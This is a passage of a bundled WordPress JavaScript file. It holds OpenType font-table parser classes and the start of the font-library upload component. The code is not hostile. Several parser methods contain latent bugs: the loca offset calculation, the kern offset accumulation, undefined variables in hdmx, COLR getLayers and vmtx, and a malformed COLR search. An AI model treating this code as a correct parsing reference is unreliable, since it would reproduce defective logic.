17276 if ( parseInt( indexOrTag ) == indexOrTag ) {
17277 record = this.featureList.featureRecords[ indexOrTag ];
17278 } else {
17279 record = this.featureList.featureRecords.find(
17280 ( f ) => f.featureTag === indexOrTag
17281 );
17282 }
17283 if ( ! record ) return;
17284 this.parser.currentPosition =
17285 this.featureList.start + record.featureOffset;
17286 let table = new FeatureTable( this.parser );
17287 table.featureTag = record.featureTag;
17288 return table;
17289 }
17290 getLookups( featureTable ) {
17291 return featureTable.lookupListIndices.map( ( index ) =>
17292 this.getLookup( index )
17293 );
17294 }
17295 getLookup( lookupIndex, type ) {
17296 let lookupOffset = this.lookupList.lookups[ lookupIndex ];
17297 this.parser.currentPosition = this.lookupList.start + lookupOffset;
17298 return new LookupTable( this.parser, type );
17299 }
17300}
17301class GSUB extends CommonLayoutTable {
17302 constructor( dict, dataview ) {
17303 super( dict, dataview, `GSUB` );
17304 }
17305 getLookup( lookupIndex ) {
17306 return super.getLookup( lookupIndex, `GSUB` );
17307 }
17308}
17309var GSUB$1 = Object.freeze( { __proto__: null, GSUB: GSUB } );
17310class GPOS extends CommonLayoutTable {
17311 constructor( dict, dataview ) {
17312 super( dict, dataview, `GPOS` );
17313 }
17314 getLookup( lookupIndex ) {
17315 return super.getLookup( lookupIndex, `GPOS` );
17316 }
17317}
17318var GPOS$1 = Object.freeze( { __proto__: null, GPOS: GPOS } );
17319class SVG extends SimpleTable {
17320 constructor( dict, dataview ) {
17321 const { p: p } = super( dict, dataview );
17322 this.version = p.uint16;
17323 this.offsetToSVGDocumentList = p.Offset32;
17324 p.currentPosition = this.tableStart + this.offsetToSVGDocumentList;
17325 this.documentList = new SVGDocumentList( p );
17326 }
17327}
17328class SVGDocumentList extends ParsedData {
17329 constructor( p ) {
17330 super( p );
17331 this.numEntries = p.uint16;
17332 this.documentRecords = [ ...new Array( this.numEntries ) ].map(
17333 ( _ ) => new SVGDocumentRecord( p )
17334 );
17335 }
17336 getDocument( documentID ) {
17337 let record = this.documentRecords[ documentID ];
17338 if ( ! record ) return '';
17339 let offset = this.start + record.svgDocOffset;
17340 this.parser.currentPosition = offset;
17341 return this.parser.readBytes( record.svgDocLength );
17342 }
17343 getDocumentForGlyph( glyphID ) {
17344 let id = this.documentRecords.findIndex(
17345 ( d ) => d.startGlyphID <= glyphID && glyphID <= d.endGlyphID
17346 );
17347 if ( id === -1 ) return '';
17348 return this.getDocument( id );
17349 }
17350}
17351class SVGDocumentRecord {
17352 constructor( p ) {
17353 this.startGlyphID = p.uint16;
17354 this.endGlyphID = p.uint16;
17355 this.svgDocOffset = p.Offset32;
17356 this.svgDocLength = p.uint32;
17357 }
17358}
17359var SVG$1 = Object.freeze( { __proto__: null, SVG: SVG } );
17360class fvar extends SimpleTable {
17361 constructor( dict, dataview ) {
17362 const { p: p } = super( dict, dataview );
17363 this.majorVersion = p.uint16;
17364 this.minorVersion = p.uint16;
17365 this.axesArrayOffset = p.Offset16;
17366 p.uint16;
17367 this.axisCount = p.uint16;
17368 this.axisSize = p.uint16;
17369 this.instanceCount = p.uint16;
17370 this.instanceSize = p.uint16;
17371 const axisStart = this.tableStart + this.axesArrayOffset;
17372 lazy$1( this, `axes`, () => {
17373 p.currentPosition = axisStart;
17374 return [ ...new Array( this.axisCount ) ].map(
17375 ( _ ) => new VariationAxisRecord( p )
17376 );
17377 } );
17378 const instanceStart = axisStart + this.axisCount * this.axisSize;
17379 lazy$1( this, `instances`, () => {
17380 let instances = [];
17381 for ( let i = 0; i < this.instanceCount; i++ ) {
17382 p.currentPosition = instanceStart + i * this.instanceSize;
17383 instances.push(
17384 new InstanceRecord( p, this.axisCount, this.instanceSize )
17385 );
17386 }
17387 return instances;
17388 } );
17389 }
17390 getSupportedAxes() {
17391 return this.axes.map( ( a ) => a.tag );
17392 }
17393 getAxis( name ) {
17394 return this.axes.find( ( a ) => a.tag === name );
17395 }
17396}
17397class VariationAxisRecord {
17398 constructor( p ) {
17399 this.tag = p.tag;
17400 this.minValue = p.fixed;
17401 this.defaultValue = p.fixed;
17402 this.maxValue = p.fixed;
17403 this.flags = p.flags( 16 );
17404 this.axisNameID = p.uint16;
17405 }
17406}
17407class InstanceRecord {
17408 constructor( p, axisCount, size ) {
17409 let start = p.currentPosition;
17410 this.subfamilyNameID = p.uint16;
17411 p.uint16;
17412 this.coordinates = [ ...new Array( axisCount ) ].map(
17413 ( _ ) => p.fixed
17414 );
17415 if ( p.currentPosition - start < size ) {
17416 this.postScriptNameID = p.uint16;
17417 }
17418 }
17419}
17420var fvar$1 = Object.freeze( { __proto__: null, fvar: fvar } );
17421class cvt extends SimpleTable {
17422 constructor( dict, dataview ) {
17423 const { p: p } = super( dict, dataview );
17424 const n = dict.length / 2;
17425 lazy$1( this, `items`, () =>
17426 [ ...new Array( n ) ].map( ( _ ) => p.fword )
17427 );
17428 }
17429}
17430var cvt$1 = Object.freeze( { __proto__: null, cvt: cvt } );
17431class fpgm extends SimpleTable {
17432 constructor( dict, dataview ) {
17433 const { p: p } = super( dict, dataview );
17434 lazy$1( this, `instructions`, () =>
17435 [ ...new Array( dict.length ) ].map( ( _ ) => p.uint8 )
17436 );
17437 }
17438}
17439var fpgm$1 = Object.freeze( { __proto__: null, fpgm: fpgm } );
17440class gasp extends SimpleTable {
17441 constructor( dict, dataview ) {
17442 const { p: p } = super( dict, dataview );
17443 this.version = p.uint16;
17444 this.numRanges = p.uint16;
17445 const getter = () =>
17446 [ ...new Array( this.numRanges ) ].map(
17447 ( _ ) => new GASPRange( p )
17448 );
17449 lazy$1( this, `gaspRanges`, getter );
17450 }
17451}
17452class GASPRange {
17453 constructor( p ) {
17454 this.rangeMaxPPEM = p.uint16;
17455 this.rangeGaspBehavior = p.uint16;
17456 }
17457}
17458var gasp$1 = Object.freeze( { __proto__: null, gasp: gasp } );
17459class glyf extends SimpleTable {
17460 constructor( dict, dataview ) {
17461 super( dict, dataview );
17462 }
17463 getGlyphData( offset, length ) {
17464 this.parser.currentPosition = this.tableStart + offset;
17465 return this.parser.readBytes( length );
17466 }
17467}
17468var glyf$1 = Object.freeze( { __proto__: null, glyf: glyf } );
17469class loca extends SimpleTable {
17470 constructor( dict, dataview, tables ) {
17471 const { p: p } = super( dict, dataview );
17472 const n = tables.maxp.numGlyphs + 1;
17473 if ( tables.head.indexToLocFormat === 0 ) {
17474 this.x2 = true;
17475 lazy$1( this, `offsets`, () =>
17476 [ ...new Array( n ) ].map( ( _ ) => p.Offset16 )
17477 );
17478 } else {
17479 lazy$1( this, `offsets`, () =>
17480 [ ...new Array( n ) ].map( ( _ ) => p.Offset32 )
17481 );
17482 }
17483 }
17484 getGlyphDataOffsetAndLength( glyphID ) {
17485 let offset = this.offsets[ glyphID ] * this.x2 ? 2 : 1;
17486 let nextOffset = this.offsets[ glyphID + 1 ] * this.x2 ? 2 : 1;
17487 return { offset: offset, length: nextOffset - offset };
17488 }
17489}
17490var loca$1 = Object.freeze( { __proto__: null, loca: loca } );
17491class prep extends SimpleTable {
17492 constructor( dict, dataview ) {
17493 const { p: p } = super( dict, dataview );
17494 lazy$1( this, `instructions`, () =>
17495 [ ...new Array( dict.length ) ].map( ( _ ) => p.uint8 )
17496 );
17497 }
17498}
17499var prep$1 = Object.freeze( { __proto__: null, prep: prep } );
17500class CFF extends SimpleTable {
17501 constructor( dict, dataview ) {
17502 const { p: p } = super( dict, dataview );
17503 lazy$1( this, `data`, () => p.readBytes() );
17504 }
17505}
17506var CFF$1 = Object.freeze( { __proto__: null, CFF: CFF } );
17507class CFF2 extends SimpleTable {
17508 constructor( dict, dataview ) {
17509 const { p: p } = super( dict, dataview );
17510 lazy$1( this, `data`, () => p.readBytes() );
17511 }
17512}
17513var CFF2$1 = Object.freeze( { __proto__: null, CFF2: CFF2 } );
17514class VORG extends SimpleTable {
17515 constructor( dict, dataview ) {
17516 const { p: p } = super( dict, dataview );
17517 this.majorVersion = p.uint16;
17518 this.minorVersion = p.uint16;
17519 this.defaultVertOriginY = p.int16;
17520 this.numVertOriginYMetrics = p.uint16;
17521 lazy$1( this, `vertORiginYMetrics`, () =>
17522 [ ...new Array( this.numVertOriginYMetrics ) ].map(
17523 ( _ ) => new VertOriginYMetric( p )
17524 )
17525 );
17526 }
17527}
17528class VertOriginYMetric {
17529 constructor( p ) {
17530 this.glyphIndex = p.uint16;
17531 this.vertOriginY = p.int16;
17532 }
17533}
17534var VORG$1 = Object.freeze( { __proto__: null, VORG: VORG } );
17535class BitmapSize {
17536 constructor( p ) {
17537 this.indexSubTableArrayOffset = p.Offset32;
17538 this.indexTablesSize = p.uint32;
17539 this.numberofIndexSubTables = p.uint32;
17540 this.colorRef = p.uint32;
17541 this.hori = new SbitLineMetrics( p );
17542 this.vert = new SbitLineMetrics( p );
17543 this.startGlyphIndex = p.uint16;
17544 this.endGlyphIndex = p.uint16;
17545 this.ppemX = p.uint8;
17546 this.ppemY = p.uint8;
17547 this.bitDepth = p.uint8;
17548 this.flags = p.int8;
17549 }
17550}
17551class BitmapScale {
17552 constructor( p ) {
17553 this.hori = new SbitLineMetrics( p );
17554 this.vert = new SbitLineMetrics( p );
17555 this.ppemX = p.uint8;
17556 this.ppemY = p.uint8;
17557 this.substitutePpemX = p.uint8;
17558 this.substitutePpemY = p.uint8;
17559 }
17560}
17561class SbitLineMetrics {
17562 constructor( p ) {
17563 this.ascender = p.int8;
17564 this.descender = p.int8;
17565 this.widthMax = p.uint8;
17566 this.caretSlopeNumerator = p.int8;
17567 this.caretSlopeDenominator = p.int8;
17568 this.caretOffset = p.int8;
17569 this.minOriginSB = p.int8;
17570 this.minAdvanceSB = p.int8;
17571 this.maxBeforeBL = p.int8;
17572 this.minAfterBL = p.int8;
17573 this.pad1 = p.int8;
17574 this.pad2 = p.int8;
17575 }
17576}
17577class EBLC extends SimpleTable {
17578 constructor( dict, dataview, name ) {
17579 const { p: p } = super( dict, dataview, name );
17580 this.majorVersion = p.uint16;
17581 this.minorVersion = p.uint16;
17582 this.numSizes = p.uint32;
17583 lazy$1( this, `bitMapSizes`, () =>
17584 [ ...new Array( this.numSizes ) ].map(
17585 ( _ ) => new BitmapSize( p )
17586 )
17587 );
17588 }
17589}
17590var EBLC$1 = Object.freeze( { __proto__: null, EBLC: EBLC } );
17591class EBDT extends SimpleTable {
17592 constructor( dict, dataview, name ) {
17593 const { p: p } = super( dict, dataview, name );
17594 this.majorVersion = p.uint16;
17595 this.minorVersion = p.uint16;
17596 }
17597}
17598var EBDT$1 = Object.freeze( { __proto__: null, EBDT: EBDT } );
17599class EBSC extends SimpleTable {
17600 constructor( dict, dataview ) {
17601 const { p: p } = super( dict, dataview );
17602 this.majorVersion = p.uint16;
17603 this.minorVersion = p.uint16;
17604 this.numSizes = p.uint32;
17605 lazy$1( this, `bitmapScales`, () =>
17606 [ ...new Array( this.numSizes ) ].map(
17607 ( _ ) => new BitmapScale( p )
17608 )
17609 );
17610 }
17611}
17612var EBSC$1 = Object.freeze( { __proto__: null, EBSC: EBSC } );
17613class CBLC extends EBLC {
17614 constructor( dict, dataview ) {
17615 super( dict, dataview, `CBLC` );
17616 }
17617}
17618var CBLC$1 = Object.freeze( { __proto__: null, CBLC: CBLC } );
17619class CBDT extends EBDT {
17620 constructor( dict, dataview ) {
17621 super( dict, dataview, `CBDT` );
17622 }
17623}
17624var CBDT$1 = Object.freeze( { __proto__: null, CBDT: CBDT } );
17625class sbix extends SimpleTable {
17626 constructor( dict, dataview ) {
17627 const { p: p } = super( dict, dataview );
17628 this.version = p.uint16;
17629 this.flags = p.flags( 16 );
17630 this.numStrikes = p.uint32;
17631 lazy$1( this, `strikeOffsets`, () =>
17632 [ ...new Array( this.numStrikes ) ].map( ( _ ) => p.Offset32 )
17633 );
17634 }
17635}
17636var sbix$1 = Object.freeze( { __proto__: null, sbix: sbix } );
17637class COLR extends SimpleTable {
17638 constructor( dict, dataview ) {
17639 const { p: p } = super( dict, dataview );
17640 this.version = p.uint16;
17641 this.numBaseGlyphRecords = p.uint16;
17642 this.baseGlyphRecordsOffset = p.Offset32;
17643 this.layerRecordsOffset = p.Offset32;
17644 this.numLayerRecords = p.uint16;
17645 }
17646 getBaseGlyphRecord( glyphID ) {
17647 let start = this.tableStart + this.baseGlyphRecordsOffset;
17648 this.parser.currentPosition = start;
17649 let first = new BaseGlyphRecord( this.parser );
17650 let firstID = first.gID;
17651 let end = this.tableStart + this.layerRecordsOffset - 6;
17652 this.parser.currentPosition = end;
17653 let last = new BaseGlyphRecord( this.parser );
17654 let lastID = last.gID;
17655 if ( firstID === glyphID ) return first;
17656 if ( lastID === glyphID ) return last;
17657 while ( true ) {
17658 if ( start === end ) break;
17659 let mid = start + ( end - start ) / 12;
17660 this.parser.currentPosition = mid;
17661 let middle = new BaseGlyphRecord( this.parser );
17662 let midID = middle.gID;
17663 if ( midID === glyphID ) return middle;
17664 else if ( midID > glyphID ) {
17665 end = mid;
17666 } else if ( midID < glyphID ) {
17667 start = mid;
17668 }
17669 }
17670 return false;
17671 }
17672 getLayers( glyphID ) {
17673 let record = this.getBaseGlyphRecord( glyphID );
17674 this.parser.currentPosition =
17675 this.tableStart +
17676 this.layerRecordsOffset +
17677 4 * record.firstLayerIndex;
17678 return [ ...new Array( record.numLayers ) ].map(
17679 ( _ ) => new LayerRecord( p )
17680 );
17681 }
17682}
17683class BaseGlyphRecord {
17684 constructor( p ) {
17685 this.gID = p.uint16;
17686 this.firstLayerIndex = p.uint16;
17687 this.numLayers = p.uint16;
17688 }
17689}
17690class LayerRecord {
17691 constructor( p ) {
17692 this.gID = p.uint16;
17693 this.paletteIndex = p.uint16;
17694 }
17695}
17696var COLR$1 = Object.freeze( { __proto__: null, COLR: COLR } );
17697class CPAL extends SimpleTable {
17698 constructor( dict, dataview ) {
17699 const { p: p } = super( dict, dataview );
17700 this.version = p.uint16;
17701 this.numPaletteEntries = p.uint16;
17702 const numPalettes = ( this.numPalettes = p.uint16 );
17703 this.numColorRecords = p.uint16;
17704 this.offsetFirstColorRecord = p.Offset32;
17705 this.colorRecordIndices = [ ...new Array( this.numPalettes ) ].map(
17706 ( _ ) => p.uint16
17707 );
17708 lazy$1( this, `colorRecords`, () => {
17709 p.currentPosition = this.tableStart + this.offsetFirstColorRecord;
17710 return [ ...new Array( this.numColorRecords ) ].map(
17711 ( _ ) => new ColorRecord( p )
17712 );
17713 } );
17714 if ( this.version === 1 ) {
17715 this.offsetPaletteTypeArray = p.Offset32;
17716 this.offsetPaletteLabelArray = p.Offset32;
17717 this.offsetPaletteEntryLabelArray = p.Offset32;
17718 lazy$1( this, `paletteTypeArray`, () => {
17719 p.currentPosition =
17720 this.tableStart + this.offsetPaletteTypeArray;
17721 return new PaletteTypeArray( p, numPalettes );
17722 } );
17723 lazy$1( this, `paletteLabelArray`, () => {
17724 p.currentPosition =
17725 this.tableStart + this.offsetPaletteLabelArray;
17726 return new PaletteLabelsArray( p, numPalettes );
17727 } );
17728 lazy$1( this, `paletteEntryLabelArray`, () => {
17729 p.currentPosition =
17730 this.tableStart + this.offsetPaletteEntryLabelArray;
17731 return new PaletteEntryLabelArray( p, numPalettes );
17732 } );
17733 }
17734 }
17735}
17736class ColorRecord {
17737 constructor( p ) {
17738 this.blue = p.uint8;
17739 this.green = p.uint8;
17740 this.red = p.uint8;
17741 this.alpha = p.uint8;
17742 }
17743}
17744class PaletteTypeArray {
17745 constructor( p, numPalettes ) {
17746 this.paletteTypes = [ ...new Array( numPalettes ) ].map(
17747 ( _ ) => p.uint32
17748 );
17749 }
17750}
17751class PaletteLabelsArray {
17752 constructor( p, numPalettes ) {
17753 this.paletteLabels = [ ...new Array( numPalettes ) ].map(
17754 ( _ ) => p.uint16
17755 );
17756 }
17757}
17758class PaletteEntryLabelArray {
17759 constructor( p, numPalettes ) {
17760 this.paletteEntryLabels = [ ...new Array( numPalettes ) ].map(
17761 ( _ ) => p.uint16
17762 );
17763 }
17764}
17765var CPAL$1 = Object.freeze( { __proto__: null, CPAL: CPAL } );
17766class DSIG extends SimpleTable {
17767 constructor( dict, dataview ) {
17768 const { p: p } = super( dict, dataview );
17769 this.version = p.uint32;
17770 this.numSignatures = p.uint16;
17771 this.flags = p.uint16;
17772 this.signatureRecords = [ ...new Array( this.numSignatures ) ].map(
17773 ( _ ) => new SignatureRecord( p )
17774 );
17775 }
17776 getData( signatureID ) {
17777 const record = this.signatureRecords[ signatureID ];
17778 this.parser.currentPosition = this.tableStart + record.offset;
17779 return new SignatureBlockFormat1( this.parser );
17780 }
17781}
17782class SignatureRecord {
17783 constructor( p ) {
17784 this.format = p.uint32;
17785 this.length = p.uint32;
17786 this.offset = p.Offset32;
17787 }
17788}
17789class SignatureBlockFormat1 {
17790 constructor( p ) {
17791 p.uint16;
17792 p.uint16;
17793 this.signatureLength = p.uint32;
17794 this.signature = p.readBytes( this.signatureLength );
17795 }
17796}
17797var DSIG$1 = Object.freeze( { __proto__: null, DSIG: DSIG } );
17798class hdmx extends SimpleTable {
17799 constructor( dict, dataview, tables ) {
17800 const { p: p } = super( dict, dataview );
17801 const numGlyphs = tables.hmtx.numGlyphs;
17802 this.version = p.uint16;
17803 this.numRecords = p.int16;
17804 this.sizeDeviceRecord = p.int32;
17805 this.records = [ ...new Array( numRecords ) ].map(
17806 ( _ ) => new DeviceRecord( p, numGlyphs )
17807 );
17808 }
17809}
17810class DeviceRecord {
17811 constructor( p, numGlyphs ) {
17812 this.pixelSize = p.uint8;
17813 this.maxWidth = p.uint8;
17814 this.widths = p.readBytes( numGlyphs );
17815 }
17816}
17817var hdmx$1 = Object.freeze( { __proto__: null, hdmx: hdmx } );
17818class kern extends SimpleTable {
17819 constructor( dict, dataview ) {
17820 const { p: p } = super( dict, dataview );
17821 this.version = p.uint16;
17822 this.nTables = p.uint16;
17823 lazy$1( this, `tables`, () => {
17824 let offset = this.tableStart + 4;
17825 const tables = [];
17826 for ( let i = 0; i < this.nTables; i++ ) {
17827 p.currentPosition = offset;
17828 let subtable = new KernSubTable( p );
17829 tables.push( subtable );
17830 offset += subtable;
17831 }
17832 return tables;
17833 } );
17834 }
17835}
17836class KernSubTable {
17837 constructor( p ) {
17838 this.version = p.uint16;
17839 this.length = p.uint16;
17840 this.coverage = p.flags( 8 );
17841 this.format = p.uint8;
17842 if ( this.format === 0 ) {
17843 this.nPairs = p.uint16;
17844 this.searchRange = p.uint16;
17845 this.entrySelector = p.uint16;
17846 this.rangeShift = p.uint16;
17847 lazy$1( this, `pairs`, () =>
17848 [ ...new Array( this.nPairs ) ].map( ( _ ) => new Pair( p ) )
17849 );
17850 }
17851 if ( this.format === 2 ) {
17852 console.warn(
17853 `Kern subtable format 2 is not supported: this parser currently only parses universal table data.`
17854 );
17855 }
17856 }
17857 get horizontal() {
17858 return this.coverage[ 0 ];
17859 }
17860 get minimum() {
17861 return this.coverage[ 1 ];
17862 }
17863 get crossstream() {
17864 return this.coverage[ 2 ];
17865 }
17866 get override() {
17867 return this.coverage[ 3 ];
17868 }
17869}
17870class Pair {
17871 constructor( p ) {
17872 this.left = p.uint16;
17873 this.right = p.uint16;
17874 this.value = p.fword;
17875 }
17876}
17877var kern$1 = Object.freeze( { __proto__: null, kern: kern } );
17878class LTSH extends SimpleTable {
17879 constructor( dict, dataview ) {
17880 const { p: p } = super( dict, dataview );
17881 this.version = p.uint16;
17882 this.numGlyphs = p.uint16;
17883 this.yPels = p.readBytes( this.numGlyphs );
17884 }
17885}
17886var LTSH$1 = Object.freeze( { __proto__: null, LTSH: LTSH } );
17887class MERG extends SimpleTable {
17888 constructor( dict, dataview ) {
17889 const { p: p } = super( dict, dataview );
17890 this.version = p.uint16;
17891 this.mergeClassCount = p.uint16;
17892 this.mergeDataOffset = p.Offset16;
17893 this.classDefCount = p.uint16;
17894 this.offsetToClassDefOffsets = p.Offset16;
17895 lazy$1( this, `mergeEntryMatrix`, () =>
17896 [ ...new Array( this.mergeClassCount ) ].map( ( _ ) =>
17897 p.readBytes( this.mergeClassCount )
17898 )
17899 );
17900 console.warn( `Full MERG parsing is currently not supported.` );
17901 console.warn(
17902 `If you need this table parsed, please file an issue, or better yet, a PR.`
17903 );
17904 }
17905}
17906var MERG$1 = Object.freeze( { __proto__: null, MERG: MERG } );
17907class meta extends SimpleTable {
17908 constructor( dict, dataview ) {
17909 const { p: p } = super( dict, dataview );
17910 this.version = p.uint32;
17911 this.flags = p.uint32;
17912 p.uint32;
17913 this.dataMapsCount = p.uint32;
17914 this.dataMaps = [ ...new Array( this.dataMapsCount ) ].map(
17915 ( _ ) => new DataMap( this.tableStart, p )
17916 );
17917 }
17918}
17919class DataMap {
17920 constructor( tableStart, p ) {
17921 this.tableStart = tableStart;
17922 this.parser = p;
17923 this.tag = p.tag;
17924 this.dataOffset = p.Offset32;
17925 this.dataLength = p.uint32;
17926 }
17927 getData() {
17928 this.parser.currentField = this.tableStart + this.dataOffset;
17929 return this.parser.readBytes( this.dataLength );
17930 }
17931}
17932var meta$1 = Object.freeze( { __proto__: null, meta: meta } );
17933class PCLT extends SimpleTable {
17934 constructor( dict, dataview ) {
17935 super( dict, dataview );
17936 console.warn(
17937 `This font uses a PCLT table, which is currently not supported by this parser.`
17938 );
17939 console.warn(
17940 `If you need this table parsed, please file an issue, or better yet, a PR.`
17941 );
17942 }
17943}
17944var PCLT$1 = Object.freeze( { __proto__: null, PCLT: PCLT } );
17945class VDMX extends SimpleTable {
17946 constructor( dict, dataview ) {
17947 const { p: p } = super( dict, dataview );
17948 this.version = p.uint16;
17949 this.numRecs = p.uint16;
17950 this.numRatios = p.uint16;
17951 this.ratRanges = [ ...new Array( this.numRatios ) ].map(
17952 ( _ ) => new RatioRange( p )
17953 );
17954 this.offsets = [ ...new Array( this.numRatios ) ].map(
17955 ( _ ) => p.Offset16
17956 );
17957 this.VDMXGroups = [ ...new Array( this.numRecs ) ].map(
17958 ( _ ) => new VDMXGroup( p )
17959 );
17960 }
17961}
17962class RatioRange {
17963 constructor( p ) {
17964 this.bCharSet = p.uint8;
17965 this.xRatio = p.uint8;
17966 this.yStartRatio = p.uint8;
17967 this.yEndRatio = p.uint8;
17968 }
17969}
17970class VDMXGroup {
17971 constructor( p ) {
17972 this.recs = p.uint16;
17973 this.startsz = p.uint8;
17974 this.endsz = p.uint8;
17975 this.records = [ ...new Array( this.recs ) ].map(
17976 ( _ ) => new vTable( p )
17977 );
17978 }
17979}
17980class vTable {
17981 constructor( p ) {
17982 this.yPelHeight = p.uint16;
17983 this.yMax = p.int16;
17984 this.yMin = p.int16;
17985 }
17986}
17987var VDMX$1 = Object.freeze( { __proto__: null, VDMX: VDMX } );
17988class vhea extends SimpleTable {
17989 constructor( dict, dataview ) {
17990 const { p: p } = super( dict, dataview );
17991 this.version = p.fixed;
17992 this.ascent = this.vertTypoAscender = p.int16;
17993 this.descent = this.vertTypoDescender = p.int16;
17994 this.lineGap = this.vertTypoLineGap = p.int16;
17995 this.advanceHeightMax = p.int16;
17996 this.minTopSideBearing = p.int16;
17997 this.minBottomSideBearing = p.int16;
17998 this.yMaxExtent = p.int16;
17999 this.caretSlopeRise = p.int16;
18000 this.caretSlopeRun = p.int16;
18001 this.caretOffset = p.int16;
18002 this.reserved = p.int16;
18003 this.reserved = p.int16;
18004 this.reserved = p.int16;
18005 this.reserved = p.int16;
18006 this.metricDataFormat = p.int16;
18007 this.numOfLongVerMetrics = p.uint16;
18008 p.verifyLength();
18009 }
18010}
18011var vhea$1 = Object.freeze( { __proto__: null, vhea: vhea } );
18012class vmtx extends SimpleTable {
18013 constructor( dict, dataview, tables ) {
18014 super( dict, dataview );
18015 const numOfLongVerMetrics = tables.vhea.numOfLongVerMetrics;
18016 const numGlyphs = tables.maxp.numGlyphs;
18017 const metricsStart = p.currentPosition;
18018 lazy( this, `vMetrics`, () => {
18019 p.currentPosition = metricsStart;
18020 return [ ...new Array( numOfLongVerMetrics ) ].map(
18021 ( _ ) => new LongVertMetric( p.uint16, p.int16 )
18022 );
18023 } );
18024 if ( numOfLongVerMetrics < numGlyphs ) {
18025 const tsbStart = metricsStart + numOfLongVerMetrics * 4;
18026 lazy( this, `topSideBearings`, () => {
18027 p.currentPosition = tsbStart;
18028 return [ ...new Array( numGlyphs - numOfLongVerMetrics ) ].map(
18029 ( _ ) => p.int16
18030 );
18031 } );
18032 }
18033 }
18034}
18035class LongVertMetric {
18036 constructor( h, b ) {
18037 this.advanceHeight = h;
18038 this.topSideBearing = b;
18039 }
18040}
18041var vmtx$1 = Object.freeze( { __proto__: null, vmtx: vmtx } );
18042
18043/* eslint-enable */
18044
18045;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/make-families-from-faces.js
18046
18047
18048const { kebabCase: make_families_from_faces_kebabCase } = unlock(external_wp_components_namespaceObject.privateApis);
18049function makeFamiliesFromFaces(fontFaces) {
18050 const fontFamiliesObject = fontFaces.reduce((acc, item) => {
18051 if (!acc[item.fontFamily]) {
18052 acc[item.fontFamily] = {
18053 name: item.fontFamily,
18054 fontFamily: item.fontFamily,
18055 slug: make_families_from_faces_kebabCase(item.fontFamily.toLowerCase()),
18056 fontFace: []
18057 };
18058 }
18059 acc[item.fontFamily].fontFace.push(item);
18060 return acc;
18061 }, {});
18062 return Object.values(fontFamiliesObject);
18063}
18064
18065
18066;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/upload-fonts.js
18067
18068
18069
18070
18071
18072
18073
18074
18075
18076function UploadFonts() {
18077 const { installFonts } = (0,external_wp_element_.useContext)(FontLibraryContext);
18078 const [isUploading, setIsUploading] = (0,external_wp_element_.useState)(false);
18079 const [notice, setNotice] = (0,external_wp_element_.useState)(false);
18080 const handleDropZone = (files) => {
18081 handleFilesUpload(files);
18082 };
18083 const onFilesUpload = (event) => {
18084 handleFilesUpload(event.target.files);
18085 };
18086 const handleFilesUpload = async (files) => {
18087 setNotice(null);
18088 setIsUploading(true);
18089 const uniqueFilenames = /* @__PURE__ */ new Set();
18090 const selectedFiles = [...files];
18091 let hasInvalidFiles = false;
18092 const checkFilesPromises = selectedFiles.map(async (file) => {
18093 const isFont = await isFontFile(file);
18094 if (!isFont) {
18095 hasInvalidFiles = true;
18096 return null;
18097 }
18098 if (uniqueFilenames.has(file.name)) {
18099 return null;
18100 }
18101 const fileExtension = file.name.split(".").pop().toLowerCase();
18102 if (ALLOWED_FILE_EXTENSIONS.includes(fileExtension)) {
18103 uniqueFilenames.add(file.name);
18104 return file;
18105 }
18106 return null;
18107 });
18108 const allowedFiles = (await Promise.all(checkFilesPromises)).filter(
18109 (file) => null !== file
18110 );
18111 if (allowedFiles.length > 0) {
18112 loadFiles(allowedFiles);
18113 } else {
18114 const message = hasInvalidFiles ? (0,external_wp_i18n_namespaceObject.__)("Sorry, you are not allowed to upload this file type.") : (0,external_wp_i18n_namespaceObject.__)("No fonts found to install.");
18115 setNotice({
18116 type: "error",
18117 message
18118 });
18119 setIsUploading(false);
18120 }
18121 };
18122 const loadFiles = async (files) => {
18123 const fontFacesLoaded = await Promise.all(
18124 files.map(async (fontFile) => {
18125 const fontFaceData = await getFontFaceMetadata(fontFile);
18126 await loadFontFaceInBrowser(
18127 fontFaceData,
18128 fontFaceData.file,
18129 "all"
18130 );
18131 return fontFaceData;
18132 })
18133 );
18134 handleInstall(fontFacesLoaded);
18135 };
18136 async function isFontFile(file) {
18137 const font = new Font("Uploaded Font");
18138 try {
18139 const buffer = await readFileAsArrayBuffer(file);
18140 await font.fromDataBuffer(buffer, "font");
18141 return true;
18142 } catch (error) {
18143 return false;
18144 }
18145 }
18146 async function readFileAsArrayBuffer(file) {
18147 return new Promise((resolve, reject) => {
18148 const reader = new window.FileReader();
18149 reader.readAsArrayBuffer(file);
18150 reader.onload = () => resolve(reader.result);
18151 reader.onerror = reject;
18152 });
18153 }
18154 const getFontFaceMetadata = async (fontFile) => {
18155 const buffer = await readFileAsArrayBuffer(fontFile);
18156 const fontObj = new Font("Uploaded Font");
18157 fontObj.fromDataBuffer(buffer, fontFile.name);
18158 const onloadEvent = await new Promise(
18159 (resolve) => fontObj.onload = resolve
18160 );
18161 const font = onloadEvent.detail.font;
18162 const { name } = font.opentype.tables;
18163 const fontName = name.get(16) || name.get(1);
18164 const isItalic = name.get(2).toLowerCase().includes("italic");
18165 const fontWeight = font.opentype.tables["OS/2"].usWeightClass || "normal";
18166 const isVariable = !!font.opentype.tables.fvar;
18167 const weightAxis = isVariable && font.opentype.tables.fvar.axes.find(
18168 ({ tag }) => tag === "wght"
18169 );
18170 const weightRange = weightAxis ? `${weightAxis.minValue} ${weightAxis.maxValue}` : null;
18171 return {
18172 file: fontFile,
18173 fontFamily: fontName,
18174 fontStyle: isItalic ? "italic" : "normal",
18175 fontWeight: weightRange || fontWeight
18176 };
18177 };
18178 const handleInstall = async (fontFaces) => {
18179 const fontFamilies = makeFamiliesFromFaces(fontFaces);
18180 try {
18181 await installFonts(fontFamilies);
18182 setNotice({
18183 type: "success",
18184 message: (0,external_wp_i18n_namespaceObject.__)("Fonts were installed successfully.")
18185 });
18186 } catch (error) {
18187 setNotice({
18188 type: "error",
18189 message: error.message,
18190 errors: error?.installationErrors
18191 });
18192 }
18193 setIsUploading(false);
18194 };
18195 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "font-library-modal__tabpanel-layout", children: [
18196 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropZone, { onFilesDrop: handleDropZone }),
18197 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { className: "font-library-modal__local-fonts", children: [
